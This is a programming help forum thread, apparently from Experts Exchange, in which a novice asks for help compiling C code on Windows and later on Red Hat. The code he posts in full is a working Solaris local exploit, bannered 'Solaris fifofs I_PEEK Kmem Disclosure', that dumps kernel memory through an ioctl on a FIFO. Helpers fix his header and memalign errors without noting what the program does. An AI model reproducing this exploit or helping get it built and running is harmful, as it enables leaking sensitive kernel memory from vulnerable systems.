Link to home
Start Free TrialLog in
Avatar of thedonation
thedonationFlag for United Kingdom of Great Britain and Northern Ireland

asked on

syntax error : missing ';' before identifier '__attribute__'

am @ windows server 2003  and using vc++ 6.0 standard edition.

while Compiling...
kernel-2.4.cpp

am getting these error . plz help

----------------------------------------------------------------------------------------------------------------------------->
Deleting intermediate files and output files for project 'kernel-2.4 - Win32 Debug'.
--------------------Configuration: kernel-2.4 - Win32 Debug--------------------
Compiling...
kernel-2.4.cpp
c:\vc98\include\unistd.h(99) : error C2146: syntax error : missing ';' before identifier '__attribute__'
c:\vc98\include\unistd.h(99) : fatal error C1004: unexpected end of file found
Error executing cl.exe.

kernel-2.4.exe - 2 error(s), 0 warning(s)
----------------------------------------------------------------------------------------------------------------------------->
Avatar of Infinity08
Infinity08
Flag of Belgium image

Can you post your code ? The part relevant to this error ?
Avatar of thedonation

ASKER

u mean the source ?   -----> kernel-2.4.cpp
Avatar of bdunz19
bdunz19

Like Infinity said, it's important to see the relevant code.

I know that some times the error "unexpected end of file found" can be caused when missing a header file like stdafx.h if you're requiring precomiled headers.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT      1000

int      main(int argc, char *argv[])
{
      struct strpeek      strpeek;
      char            *buf, *end;
      int            pg = PAGE_COUNT, fd, pagesz, bufsz;

      fprintf(stderr,
            "---------------------------------------\n"
            " Solaris fifofs I_PEEK Kmem Disclosure\n"
            " By qaaz\n"
            "---------------------------------------\n");

      if (argc > 1) pg = atoi(argv[1]);

      pagesz = getpagesize();

      if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
            perror("mknod");
            return -1;
      }

      switch (fork()) {
      case -1:
            perror("fork");
            goto cleanup;
      case  0:
            if ((fd = open("fifo", O_WRONLY)) < 0) {
                  perror("open");
                  exit(0);
            }
            write(fd, "abcd", 4);
            exit(0);
            break;
      default:
            if ((fd = open("fifo", O_RDONLY)) < 0) {
                  perror("open");
                  goto cleanup;
            }
            break;
      }

      bufsz = (pg + 1) * pagesz;
      if (!(buf = memalign(pagesz, bufsz))) {
            perror("malloc");
            goto cleanup;
      }
      
      memset(buf, 0, bufsz);
      end = buf + (pg * pagesz);
      
      fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
      fflush(stderr);

      if (mprotect(end, pagesz, PROT_NONE) < 0) {
            perror("mprotect");
            goto cleanup;
      }

      memset(&strpeek, 0, sizeof(strpeek));
      strpeek.databuf.buf = buf;
      strpeek.databuf.maxlen = -1;
      if (ioctl(fd, I_PEEK, &strpeek) < 0) {
            perror("ioctl");
            goto cleanup;
      }

      while (end > buf && end[-1] == 0)
            end--;
      fprintf(stderr, "== %d\n", (int) (end - buf));
      fflush(stderr);

      if (!isatty(1))
            write(1, buf, (size_t) (end - buf));

cleanup:
      unlink("fifo");
      return 0;
}
unistd.h from what I can find on google looks like it only contains unix specific definitions. Is there any reason why you need this on a windows 2003 box?
ASKER CERTIFIED SOLUTION
Avatar of bdunz19
bdunz19

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
let me explain .
 am newbie on this ,
my include/sys folder was missing some headers files like unistd.h and some others ,
i just googled ----> index.of include/sys <-------------
and found them ,  i think i download unix headers files,
 help me getting correct header files.
You compile that code, and that gives the error ?

I can see at least one suspicious line :

        struct strpeek      strpeek;

It's not the best idea to name an instance of a struc the same way as the struct itself.


But that's probably not the cause of the error. The error occurred at this line :

        #include <unistd.h>

The headers before that are all normal system headers, so unless something got modified in them (did you ?), I don't see the problem (there's nothing before the code you posted, isn't there ?).

Can you try moving that include to the beginning of the file ?
SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Good catch btw, bdunz19. I missed the Windows bit heh
where can i get the windows headers files if they are missing ?
Again : what are you trying to do ?
like i said am new .
trying to learn how to compile codes.
so i shud move to linux compiler ok ?
am on red hat now
 i c this error

--
root@lss606 [~/cgi/pm/pm/c]# g++ solair.cpp
solair.cpp: In function `int main(int, char**)':
solair.cpp:55: error: `memalign' was not declared in this scope
For memalign, make sure you #include <stdlib.h>

Also, make sure you use the headers that were installed with g++, not any that you download off google (at least untill you know what you are doing ;) ).
these are my code headers ..

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
>> trying to learn how to compile codes.

I mean, why did you pick that code to compile ? It's some specific code for Solaris ... There's no sense in trying to compile it for Windows.
No comment has been added to this question in more than 21 days, so it is now classified as abandoned.

I will leave the following recommendation for this question in the Cleanup Zone:
      Split: bdunz19 {http:#20063592} & Infinity08 {http:#20063599}

Any objections should be posted here in the next 4 days. After that time, the question will be closed.

Sean
EE Cleanup Volunteer